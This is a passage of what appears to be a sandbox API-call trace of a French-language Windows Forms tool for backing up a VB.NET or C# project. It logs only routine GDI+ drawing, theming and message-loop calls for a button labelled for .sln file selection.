CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x14, wParam=0x60106b7, lParam=0x0) returned 0x1 [0226.360] GetStockObject (i=5) returned 0x1900015 [0226.360] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.360] CreateCompatibleDC (hdc=0x60106b7) returned 0x48010735 [0226.360] SelectObject (hdc=0x48010735, h=0x210506ba) returned 0x185000f [0226.360] GdipCreateFromHDC (hdc=0x48010735, graphics=0x2be714) returned 0x0 [0226.360] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.360] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0226.360] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0226.360] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.360] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0226.360] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.360] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.360] LocalFree (hMem=0x5fd310) returned 0x0 [0226.360] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.360] GdipCreateRegion (region=0x2be75c) returned 0x0 [0226.360] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.360] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0226.360] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0226.360] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd9f0dbd) returned 0x0 [0226.361] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.361] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0226.361] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.361] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.361] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.361] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.361] SaveDC (hdc=0x48010735) returned 1 [0226.361] GetNearestColor (hdc=0x48010735, color=0xf0f0f0) returned 0xf0f0f0 [0226.361] GetNearestColor (hdc=0x48010735, color=0xa0a0a0) returned 0xa0a0a0 [0226.361] GetNearestColor (hdc=0x48010735, color=0x696969) returned 0x696969 [0226.361] GetNearestColor (hdc=0x48010735, color=0xa0a0a0) returned 0xa0a0a0 [0226.361] GetNearestColor (hdc=0x48010735, color=0x0) returned 0x0 [0226.361] GetNearestColor (hdc=0x48010735, color=0xffffff) returned 0xffffff [0226.361] GetNearestColor (hdc=0x48010735, color=0xe5e5e5) returned 0xe5e5e5 [0226.361] GetNearestColor (hdc=0x48010735, color=0xd7d7d7) returned 0xd7d7d7 [0226.361] GetNearestColor (hdc=0x48010735, color=0x0) returned 0x0 [0226.361] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.361] GdipReleaseDC (graphics=0x4ae5320, hdc=0x48010735) returned 0x0 [0226.361] IsAppThemed () returned 0x1 [0226.361] GetThemeAppProperties () returned 0x3 [0226.361] GetThemeAppProperties () returned 0x3 [0226.361] IsAppThemed () returned 0x1 [0226.361] GetThemeAppProperties () returned 0x3 [0226.361] GetThemeAppProperties () returned 0x3 [0226.362] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x254b9f4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetFocus () returned 0x0 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] IsThemePartDefined () returned 0x1 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] IsAppThemed () returned 0x1 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] GetThemeAppProperties () returned 0x3 [0226.362] IsThemePartDefined () returned 0x1 [0226.362] GdipCreateRegion (region=0x2be484) returned 0x0 [0226.362] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.362] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0226.362] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.362] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0226.362] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.362] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.362] LocalFree (hMem=0x5fd310) returned 0x0 [0226.363] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.363] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.363] LocalFree (hMem=0x5fd310) returned 0x0 [0226.363] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.363] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0226.363] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0226.363] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0226.363] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.363] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0226.363] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.363] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.363] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.363] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.363] SaveDC (hdc=0x48010735) returned 1 [0226.363] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3e0401eb [0226.363] GetClipRgn (hdc=0x48010735, hrgn=0x3e0401eb) returned 0 [0226.363] SelectClipRgn (hdc=0x48010735, hrgn=0x40040789) returned 2 [0226.363] DeleteObject (ho=0x3e0401eb) returned 1 [0226.363] DeleteObject (ho=0x40040789) returned 1 [0226.363] OffsetViewportOrgEx (in: hdc=0x48010735, x=0, y=0, lppt=0x254c0a4 | out: lppt=0x254c0a4) returned 1 [0226.363] DrawThemeParentBackground () returned 0x0 [0226.363] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0226.364] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0226.364] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0226.364] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.364] GetSystemMetrics (nIndex=42) returned 0 [0226.364] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.364] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0226.364] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0226.364] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.364] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.364] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.364] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.364] SaveDC (hdc=0x48010735) returned 2 [0226.364] GetNearestColor (hdc=0x48010735, color=0xf0f0f0) returned 0xf0f0f0 [0226.364] CreateSolidBrush (color=0xf0f0f0) returned 0x2a1006a2 [0226.364] FillRect (hDC=0x48010735, lprc=0x2bdf94, hbr=0x2a1006a2) returned 1 [0226.364] DeleteObject (ho=0x2a1006a2) returned 1 [0226.364] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.364] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0226.364] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.364] GetSystemMetrics (nIndex=42) returned 0 [0226.364] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.364] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0226.364] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0226.364] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.364] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.365] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.365] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.365] SaveDC (hdc=0x48010735) returned 2 [0226.365] GetNearestColor (hdc=0x48010735, color=0xf0f0f0) returned 0xf0f0f0 [0226.365] CreateSolidBrush (color=0xf0f0f0) returned 0x2b1006a2 [0226.365] FillRect (hDC=0x48010735, lprc=0x2bdf34, hbr=0x2b1006a2) returned 1 [0226.365] DeleteObject (ho=0x2b1006a2) returned 1 [0226.365] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.365] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0226.365] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.365] GetSystemMetrics (nIndex=42) returned 0 [0226.365] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.365] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0226.365] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.365] GdipReleaseDC (graphics=0x4ae5320, hdc=0x48010735) returned 0x0 [0226.365] IsAppThemed () returned 0x1 [0226.365] GetThemeAppProperties () returned 0x3 [0226.365] GetThemeAppProperties () returned 0x3 [0226.365] IsAppThemed () returned 0x1 [0226.365] GetThemeAppProperties () returned 0x3 [0226.365] GetThemeAppProperties () returned 0x3 [0226.365] IsThemePartDefined () returned 0x1 [0226.365] GdipCreateRegion (region=0x2be428) returned 0x0 [0226.365] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.365] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0226.366] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.366] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0226.366] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.366] LocalFree (hMem=0x5fd310) returned 0x0 [0226.366] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.366] LocalFree (hMem=0x5fd310) returned 0x0 [0226.476] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.476] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0226.476] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0226.476] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0226.476] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.476] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0226.476] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.476] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.476] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.476] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.476] SaveDC (hdc=0x48010735) returned 1 [0226.476] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x41040789 [0226.476] GetClipRgn (hdc=0x48010735, hrgn=0x41040789) returned 0 [0226.476] SelectClipRgn (hdc=0x48010735, hrgn=0x400401eb) returned 2 [0226.476] DeleteObject (ho=0x41040789) returned 1 [0226.476] DeleteObject (ho=0x400401eb) returned 1 [0226.476] OffsetViewportOrgEx (in: hdc=0x48010735, x=0, y=0, lppt=0x254cadc | out: lppt=0x254cadc) returned 1 [0226.476] IsAppThemed () returned 0x1 [0226.476] GetThemeAppProperties () returned 0x3 [0226.476] GetThemeAppProperties () returned 0x3 [0226.476] DrawThemeBackground () returned 0x0 [0226.476] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.477] GdipReleaseDC (graphics=0x4ae5320, hdc=0x48010735) returned 0x0 [0226.477] GdipCreateRegion (region=0x2be410) returned 0x0 [0226.477] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.477] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0226.477] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.477] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0226.477] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.477] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.477] LocalFree (hMem=0x5fd310) returned 0x0 [0226.477] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.477] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.477] LocalFree (hMem=0x5fd310) returned 0x0 [0226.477] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.477] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0226.477] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0226.477] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0226.477] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.477] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0226.477] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.477] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.477] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.477] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.477] SaveDC (hdc=0x48010735) returned 1 [0226.477] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x410401eb [0226.477] GetClipRgn (hdc=0x48010735, hrgn=0x410401eb) returned 0 [0226.477] SelectClipRgn (hdc=0x48010735, hrgn=0x42040789) returned 2 [0226.477] DeleteObject (ho=0x410401eb) returned 1 [0226.478] DeleteObject (ho=0x42040789) returned 1 [0226.478] OffsetViewportOrgEx (in: hdc=0x48010735, x=0, y=0, lppt=0x254cdb0 | out: lppt=0x254cdb0) returned 1 [0226.478] IsAppThemed () returned 0x1 [0226.478] GetThemeAppProperties () returned 0x3 [0226.478] GetThemeAppProperties () returned 0x3 [0226.478] GetThemeBackgroundContentRect () returned 0x0 [0226.478] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.478] GdipReleaseDC (graphics=0x4ae5320, hdc=0x48010735) returned 0x0 [0226.478] IsAppThemed () returned 0x1 [0226.478] GetThemeAppProperties () returned 0x3 [0226.478] GetThemeAppProperties () returned 0x3 [0226.478] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0226.478] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0226.478] GetCurrentObject (hdc=0x48010735, type=0x1) returned 0x1b00017 [0226.478] GetCurrentObject (hdc=0x48010735, type=0x2) returned 0x1900010 [0226.478] GetCurrentObject (hdc=0x48010735, type=0x7) returned 0x210506ba [0226.478] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.478] SaveDC (hdc=0x48010735) returned 1 [0226.478] GetTextAlign (hdc=0x48010735) returned 0x0 [0226.478] GetTextColor (hdc=0x48010735) returned 0x0 [0226.478] GetCurrentObject (hdc=0x48010735, type=0x6) returned 0x18a002e [0226.478] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0226.478] SelectObject (hdc=0x48010735, h=0x90a01e9) returned 0x18a002e [0226.479] GetBkMode (hdc=0x48010735) returned 2 [0226.479] SetBkMode (hdc=0x48010735, mode=1) returned 2 [0226.479] DrawTextExW (in: hdc=0x48010735, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x254d144 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0226.479] DrawTextExW (in: hdc=0x48010735, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x254d144 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0226.479] RestoreDC (hdc=0x48010735, nSavedDC=-1) returned 1 [0226.479] GdipReleaseDC (graphics=0x4ae5320, hdc=0x48010735) returned 0x0 [0226.479] GetFocus () returned 0x0 [0226.479] IsAppThemed () returned 0x1 [0226.479] GetThemeAppProperties () returned 0x3 [0226.479] GetThemeAppProperties () returned 0x3 [0226.479] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0226.479] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x48010735, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.480] GdipReleaseDC (graphics=0x4ae5320, hdc=0x48010735) returned 0x0 [0226.480] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.480] SelectObject (hdc=0x48010735, h=0x185000f) returned 0x210506ba [0226.480] DeleteDC (hdc=0x48010735) returned 1 [0226.480] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0226.480] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0226.480] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.480] IsWindowUnicode (hWnd=0x20152) returned 1 [0226.480] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.480] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.481] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.481] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0226.481] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0226.481] WaitMessage () returned 1 [0226.625] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.625] IsWindowUnicode (hWnd=0x1019e) returned 1 [0226.625] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.625] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.625] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.625] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0226.625] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0226.625] WaitMessage () returned 1 [0230.278] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.278] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0230.278] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0230.430] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0230.430] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0230.430] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0230.430] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0230.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0230.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0230.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0230.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0230.431] NtdllDefWindowProc_W () returned 0x0 [0230.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0230.443] GetFocus () returned 0x0 [0230.443] SetFocus (hWnd=0x1019c) returned 0x0 [0230.443] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0230.444] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0230.444] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0230.444] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0230.444] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0230.444] GetStockObject (i=5) returned 0x1900015 [0230.444] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0230.444] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x5627c0) returned 0x19 [0230.444] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0230.444] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0230.444] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0230.444] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0230.444] IsWindowUnicode (hWnd=0x1019c) returned 1 [0230.444] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] TranslateMessage (lpMsg=0x2bec18) returned 0 [0230.445] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0230.445] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] IsWindowUnicode (hWnd=0x1019c) returned 1 [0230.445] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] GetKeyState (nVirtKey=16) returned 0 [0230.445] GetKeyState (nVirtKey=17) returned 0 [0230.445] GetKeyState (nVirtKey=18) returned -127 [0230.445] TranslateMessage (lpMsg=0x2bec18) returned 1 [0230.445] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0230.445] GetKeyState (nVirtKey=16) returned 0 [0230.445] GetKeyState (nVirtKey=17) returned 0 [0230.445] GetKeyState (nVirtKey=18) returned -127 [0230.445] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0230.445] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] IsWindowUnicode (hWnd=0x1019c) returned 1 [0230.445] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] GetKeyState (nVirtKey=16) returned 0 [0230.445] GetKeyState (nVirtKey=17) returned 0 [0230.445] GetKeyState (nVirtKey=18) returned 1 [0230.445] TranslateMessage (lpMsg=0x2bec18) returned 1 [0230.445] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0230.445] GetKeyState (nVirtKey=16) returned 0 [0230.445] GetKeyState (nVirtKey=17) returned 0 [0230.445] GetKeyState (nVirtKey=18) returned 1 [0230.445] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0230.445] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] IsWindowUnicode (hWnd=0x1019c) returned 1 [0230.445] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0230.445] TranslateMessage (lpMsg=0x2bec18) returned 0 [0230.445] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0230.445] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x100107ec [0230.445] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0230.445] CreateCompatibleDC (hdc=0x100107ec) returned 0x63010733 [0230.445] SelectObject (hdc=0x63010733, h=0x210506ba) returned 0x185000f [0230.445] GdipCreateFromHDC (hdc=0x63010733, graphics=0x2be714) returned 0x0 [0230.445] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0230.445] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0230.446] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0230.446] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0230.446] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 